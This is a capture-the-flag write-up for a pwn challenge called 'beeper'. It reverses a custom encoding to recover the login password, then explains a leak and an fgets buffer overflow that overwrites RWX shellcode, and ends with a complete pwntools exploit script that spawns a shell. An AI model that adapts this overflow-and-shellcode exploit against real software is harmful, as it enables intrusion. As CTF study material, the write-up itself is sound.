Introduction
At the first glance of this challenge, I thought it was reverse challenge + menu challenge on pwn. However, I found that it was reverse challenge + shellcode challenge.
Program Analysis
The core part of this challenge is an encoding algorithm, which takes two argument. The first argument is the target string to be encoded. The second argument is a transform string, which is used for encoding the target string. The transform string is consisted of a few characters, each of them performs one operation:
h: ++target_address; o: --target_address; r: ++*(Byte*)0x2029f8; a: --*(Byte*)0x2029f8; [ XXXX ]: loop on string XXXX until *(Byte*)(target_address) reaches 0 u: --*(Byte*)target_address { YYYY }: loop on string YYYY until *(Byte*)(0x202a00) reaches 0 m: ++*(Byte*)(0x202a00) N: *(Byte*)(0x202a00) = *(Byte*)(0x2029f8);
The first task in this challenge is reverse the algorithm above and input a string. After encoding the string, we need the encoded string is equal to the required string.
The transform string for login is “hhhhhhhhhhhhhhhhh[ur]N{1m}ooooooooooooooooorrrrr[ur]N{1m}haaaa[au]N{1m}hrrr[ur]N{1m}haaa[au]N{1m}hrrraar[ur]N{1m}haaaarr[au]N{1m}hr[ur]N{1m}haa[au]N{1m}hrar[ur]N{1m}haaraa[au]N{1m}haa[ur]N{1m}haarr[au]N{1m}hrarr[ur]N{1m}haarar[au]N{1m}hraar[ur]N{1m}ha[au]N{1m}hrrr[ur]N{1m}haa[au]N{1m}”
After some simple calculation, we can get the password below:
BokuWaDokoNiIruNo?
Vulnerability Analysis
Then we reach a menu. At first glance, I thought it was a menu challenge on heap. But I soon found that there is only one info leak vulnerability there. Therefore, I need to find another method.
After reconsidering the encoding algorithm, I found that the base address of target string and transform string is close in memory space. Moreover, there is an obvious buffer overflow of the fgetsfunctions in this challenge, which can take far more bytes than required.
Then I realised it was a shellcode challenge. We need to leak the base address of shellcode first. Then trigger logout and input the payload to overwrite the transform string to overwrite the shellcode. Since the shellcode is located in a region mapped with RWX, we can overwrite the shellcode without any problem.
Exploit plan
After finding the true intention of this challenge, the exploit plan is easy.
Leak the base address of the shellcode first. Then overflow the target_address with the leaked address and overwrite the transform string with crafted string to overwrite shellcode.
During the exploitation, I worry about that the actual length of the payload may exceed the permitted length of string. So I take a stupid way to overwrite the shellcode and it takes me a lot of time. The good thing is that my payload is short enough.
After finishing overwriting the shellcode, trigger buy function to execute the shellcode and get shell.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("47.98.57.19", 23333); elif(DEBUG == 1): r = process("./beeper"); elif(DEBUG == 2): r = process("./beeper"); gdb.attach(r, 'source script.py'); def halt(): while(True): log.info(r.recvline()); originalString = "hhhhhhhhhhhhhhhhh[ur]N{1m}ooooooooooooooooorrrrr[ur]N{1m}haaaa[au]N{1m}hrrr[ur]N{1m}haaa[au]N{1m}hrrraar[ur]N{1m}haaaarr[au]N{1m}hr[ur]N{1m}haa[au]N{1m}hrar[ur]N{1m}haaraa[au]N{1m}haa[ur]N{1m}haarr[au]N{1m}hrarr[ur]N{1m}haarar[au]N{1m}hraar[ur]N{1m}ha[au]N{1m}hrrr[ur]N{1m}haa[au]N{1m}"; def show(index): r.recvuntil(">>"); r.sendline("1"); r.recvuntil("number:"); r.sendline(str(index)); def remove(index): r.recvuntil(">>"); r.sendline("2"); r.recvuntil("remove"); r.sendline(str(index)); def buy(): r.recvuntil(">>"); r.sendline("3"); r.sendline(); def logout(): r.recvuntil(">>"); r.sendline("4"); def login(): r.recvuntil("password:"); log.info("%s" % password); password = password.ljust(0x20, '\x00'); r.sendline(password); def exploit(): r.recvuntil("password:"); password = "BokuWaDokoNiIruNo?"; log.info("%s" % password); r.sendline(password); remove(2); remove(0); show(0); r.recvuntil("phone number:"); mappedAddr = u64(r.recv(8)); log.info("mapped address: 0x%x" % mappedAddr); logout(); password2 = "\x86\x13\x81\x09\x62\xff\x44\xd3\x3f\xcd\x19\xb0\xfb\x88\xfd\xae\x20\xdf"; payload = password2.ljust(0x68, 'A'); payload += p64(mappedAddr); payload += "h"*15 + "r"*0x14 + "N{1m}";#$0x14 payload += "h"*1 + "r"*8 + "N{1m}"; #0x1c payload += "o"*4 + "r"*4 + "N{1m}";#0x20 payload += "h"*6 + "r"*8 + "N{1m}";#0x28 payload += "o"*15 + "r"*0 + "N{1m}"; payload += "h"*3 + "r"*6 + "N{1m}";#0x2e payload += "h"*3 + "r"*0 + "N{1m}"; payload += "h"*1 + "r"*0 + "N{1m}"; payload += "o"*3 + "r"*0x17 + "N{1m}";#0x45 payload += "h"*13 + "r"*0x13 + "N{1m}";#0x58 payload += "o"*12 + "r"*0x15 + "N{1m}";#0x6d payload += "h"*3 + "r"*5 + "N{1m}";#0x72 payload += "o"*10 + "r"*5 + "N{1m}";#0x77 payload += "o"*1 + 'r'*0x18 + "N{1m}"; #0x8f payload += "h"*13 + "r"*0xc + "N{1m}";#0x9b payload += "h"*13 + "r"*6 + "N{1m}"; #0xa1 payload += "o"*21 + "r"*13 + "N{1m}"; #0xae payload += "h"*18 + "r"*0 + "N{1m}";#0xae payload += "o"*19 + "r"*0xc + "N{1m}"#0xba payload += "h"*15 + "r"*7 + "N{1m}"#0xc1 payload += "o"*2 + "r"*2 + "N{1m}"#0xc3 payload += "o"*3 + "r"*16 + "N{1m}" #0xd3 payload += "h"*7 + "r"*6 + "N{1m}" #0xd9 payload += "h"*4 + "r"*1 + "N{1m}" #0xda payload += "o"*3 + "r"*7 + "N{1m}" #0xe1 payload += "h"*5 + "r"*4 + "N{1m}" #0xe5 payload += "o"*25 + "r"*9 + "N{1m}" #0xee payload += "h"*22 + "r"*10 + "N{1m}";#0xf8 payload += "h"*2 + "r"*0x41 + "N{1m}"; payload += "h" + "a"*13 + "N{1m}"; payload += "h" + "r"*(0x64-0x2c) + "N{1m}"; payload += "h" + "r"*(0xa0-0x64) + "N{1m}"; payload += "h" + "a"*0xf + "N{1m}"; payload += "\x00"; log.info("payload length: 0x%x" % len(payload)); r.sendline(payload); buy(); r.interactive(); exploit();